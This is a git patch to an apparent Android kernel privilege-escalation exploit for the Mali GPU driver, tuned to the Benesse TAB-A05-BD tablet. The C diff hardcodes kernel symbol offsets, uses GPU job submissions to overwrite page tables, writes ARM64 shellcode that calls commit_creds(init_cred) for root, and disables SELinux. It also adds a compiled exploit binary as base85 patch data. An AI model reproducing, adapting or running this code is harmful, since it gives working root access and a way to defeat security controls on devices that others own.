From 8805c6329b83795ab59d98d6a29b7dc8e8f2fcb7 Mon Sep 17 00:00:00 2001 From: yuu <46545607+mouseos@users.noreply.github.com> Date: Tue, 14 May 2024 09:17:41 +0900 Subject: [PATCH] =?UTF-8?q?onyx=E3=81=AE=E3=82=AA=E3=83=95=E3=82=BB?= =?UTF-8?q?=E3=83=83=E3=83=88=E3=82=92=E4=BF=AE=E6=AD=A3=E3=81=97=E3=81=9F?= =?UTF-8?q?=E3=81=A0=E3=81=91=E3=81=AE=E3=82=82=E3=81=AE=E3=81=AB=E6=88=BB?= =?UTF-8?q?=E3=81=97=E3=80=81usleep=E3=81=AE=E9=96=93=E9=9A=94=E3=82=92?= =?UTF-8?q?=E9=95=B7=E3=81=8F=E3=81=99=E3=82=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: yuu <46545607+mouseos@users.noreply.github.com> --- mali_shrinker_mmap32.c | 96 +++++++++++++---------------------------- onyx_shrinker | Bin 0 -> 22996 bytes 2 files changed, 30 insertions(+), 66 deletions(-) create mode 100644 onyx_shrinker diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index 88b01c4..ad68fde 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -62,27 +62,20 @@ #define ADD_COMMIT_INDEX 3 - // TAB-A05-BD #define SELINUX_ENFORCING_neo 0x129d9bc -#define SEL_READ_HANDLE_UNKNOWN_neo 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80 -#define SEL_READ_ENFORCE_neo 0x3653a8//0xffffff80083e53a8 - 0xffffff8008080000 = 0x3653A8//add -#define INIT_CRED_neo 0x11553f0 //0xffffff80091d53f0 - 0xffffff8008080000 = 0x11553F0 +#define SEL_READ_HANDLE_UNKNOWN_neo 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80 +#define INIT_CRED_neo 0x11553f0 //0xffffff80091d53f0 - 0xffffff8008080000 = 0x11553f0 #define COMMIT_CREDS_neo 0x5a120 //0xffffff80080da120 - 0xffffff8008080000 = 0x5a120 #define ADD_INIT_neo 0x910FC000 #define ADD_COMMIT_neo 0x91048108 -//avc_denied.isra.4 -#define AVC_DENY_neo 0x35acc8//0xffffff80083dacc8 - 0xffffff8008080000 = 0x35ACC8;//add -//kallsymsがアドレスを吐くようにする -static uint64_t kptr_restrict = 0x1147178; -//検証用 -static uint32_t stack_error = 0x14000021; - +#define AVC_DENY_neo 0x35acc8//0xffffff80083dacc8 - 0xffffff8008080000 = 0x35acc8 static uint64_t sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; -static uint64_t sel_read_enforce = SEL_READ_ENFORCE_neo; + static uint64_t selinux_enforcing = SELINUX_ENFORCING_neo; -//added + +//static uint64_t avc_deny = 0x2CCC28; static uint64_t avc_deny = AVC_DENY_neo; static uint64_t selinux_enforcing_READ = 0X0; static uint64_t selinux_enforcing_WRITE = 0X0; @@ -454,7 +447,7 @@ uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { } void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { - printf("Run fixup_root_shell"); + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); //Sets x0 to init_cred root_code[ADRP_INIT_INDEX] = init_adpr; @@ -466,11 +459,8 @@ void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_en root_code[5] = 0xd63f0100; // blr x8 root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 root_code[7] = 0xd65f03c0; // ret - printf("Run fixup_root_shell_un\n"); } - - void fixup_root_shell_nop() { //Sets x0 to init_cred @@ -486,7 +476,7 @@ void fixup_root_shell_nop() { } void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, uint64_t read_handle_unknown, uint32_t add_init, uint32_t add_commit) { - printf("Run fixup_root_shell_un\n"); + uint32_t init_adpr = write_adrp(0, read_handle_unknown, init_cred); //Sets x0 to init_cred root_code_un[ADRP_INIT_INDEX] = init_adpr; @@ -498,11 +488,9 @@ void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, uint64_t read root_code_un[5] = 0xd63f0100; // blr x8 root_code_un[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 root_code_un[7] = 0xd65f03c0; // ret - printf("End fixup_root_shell_un"); } - uint64_t set_addr_lv3(uint64_t addr) { uint64_t pfn = addr >> PAGE_SHIFT; pfn &= ~ 0x1FFUL; @@ -545,7 +533,7 @@ void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, e if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { err(1, "submit job failed\n"); } - usleep(10000); + usleep(500000); } void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, uint64_t value, enum mali_write_value_type type) { @@ -625,8 +613,7 @@ int run_enforce_un() { printf("run_enforce_un: before sleep\n"); sleep(3); printf("run_enforce_un: after sleep\n"); - //int enforce_fd = open("/sys/fs/selinux/deny_unknown", O_RDONLY); - int enforce_fd = open("/sys/fs/selinux/reject_unknown", O_RDONLY); + int enforce_fd = open("/sys/fs/selinux/deny_unknown", O_RDONLY); printf("run_enforce_un: open\n"); read(enforce_fd, &result, 1); printf("run_enforce_un: after read\n"); @@ -642,15 +629,14 @@ void select_offset() { int len = __system_property_get("ro.build.fingerprint", fingerprint); LOG("fingerprint: %s\n", fingerprint); -/* if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys")) { selinux_enforcing = SELINUX_ENFORCING_neo; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; - //fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); + fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); return; } -*/ + + if (1) { // avc_deny = 0x321C64; // avc_denied.isra.6 @@ -660,8 +646,7 @@ void select_offset() { sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; //fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_WRITE, 0x910FC000, 0x910CA108); // fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_READ, 0x910FC000, 0x910CA108); - //fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_enforce, ADD_INIT_neo, ADD_COMMIT_neo); + fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); return; } err(1, "unable to match build id\n"); @@ -679,24 +664,9 @@ void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) //Go through the reserve pages addresses to write to avc_denied with our own shellcode write_data(mali_fd2, selinux_enforcing, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, 0, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); } -/*for onyx -void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { - uint64_t sel_read_handle_unknown_addr = (((sel_read_handle_unknown + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_handle_unknown_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); - - usleep(100000); - - //Call commit_creds to overwrite process credentials to gain root - write_func(mali_fd2, sel_read_handle_unknown, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code_un[0]), sizeof(root_code_un)/sizeof(uint32_t)); -// write_func(mali_fd2, selinux_enforcing_READ, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); -// write_func(mali_fd2, selinux_enforcing_WRITE, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); -} -*/ -//original code(avc_deny) void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { - /* Skip this - uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; +/* uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); usleep(100000); @@ -706,15 +676,25 @@ void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved //Triggers avc_denied to disable SELinux open("/dev/kmsg", O_RDONLY); */ - uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +// uint64_t sel_read_enforce_addr = (((selinux_enforcing_READ + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; +// write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +// printf("sel_read_enforce_addr is %llx avc_deny_addr is %llx\n", sel_read_enforce_addr, avc_deny_addr); + uint64_t sel_read_handle_unknown_addr = (((sel_read_handle_unknown + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_handle_unknown_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + +// uint64_t sel_write_enforce_addr = (((selinux_enforcing_WRITE + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; +// write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_write_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + //Call commit_creds to overwrite process credentials to gain root - //write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));// 検証のためコメントアウト - //stack_errorが発生するか検証 - write_data(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, stack_error, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + write_func(mali_fd2, sel_read_handle_unknown, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code_un[0]), sizeof(root_code_un)/sizeof(uint32_t)); +// write_func(mali_fd2, selinux_enforcing_READ, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +// write_func(mali_fd2, selinux_enforcing_WRITE, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); } + void spray(int mali_fd) { for (int j = 0; j < SPRAY_NUM; j++) { union kbase_ioctl_mem_alloc alloc = {0}; @@ -738,20 +718,6 @@ void spray(int mali_fd) { } -void write_kptr_restrict(int mali_fd, int mali_fd2, uint64_t pgd, - uint64_t* reserved) { - uint64_t kptr_restrict_addr = - (((kptr_restrict + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), - kptr_restrict_addr, atom_number++, - MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); - - usleep(300000); - // shellcode - write_data(mali_fd2, kptr_restrict, reserved, - TOTAL_RESERVED_SIZE / RESERVED_SIZE, 0, - MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); -} int trigger(int mali_fd, int mali_fd2, int* flush_idx) { if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) { err(1, "Out of memory."); @@ -799,8 +765,6 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { atom_number++; write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); - write_kptr_restrict(mali_fd, mali_fd2, pgd, &(reserved[0])); - usleep(100000); write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); printf("time to run_enforce\n"); diff --git a/onyx_shrinker b/onyx_shrinker new file mode 100644 index 0000000000000000000000000000000000000000..669af179968e2ce3c87454646293d09a0bccbddf GIT binary patch literal 22996 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 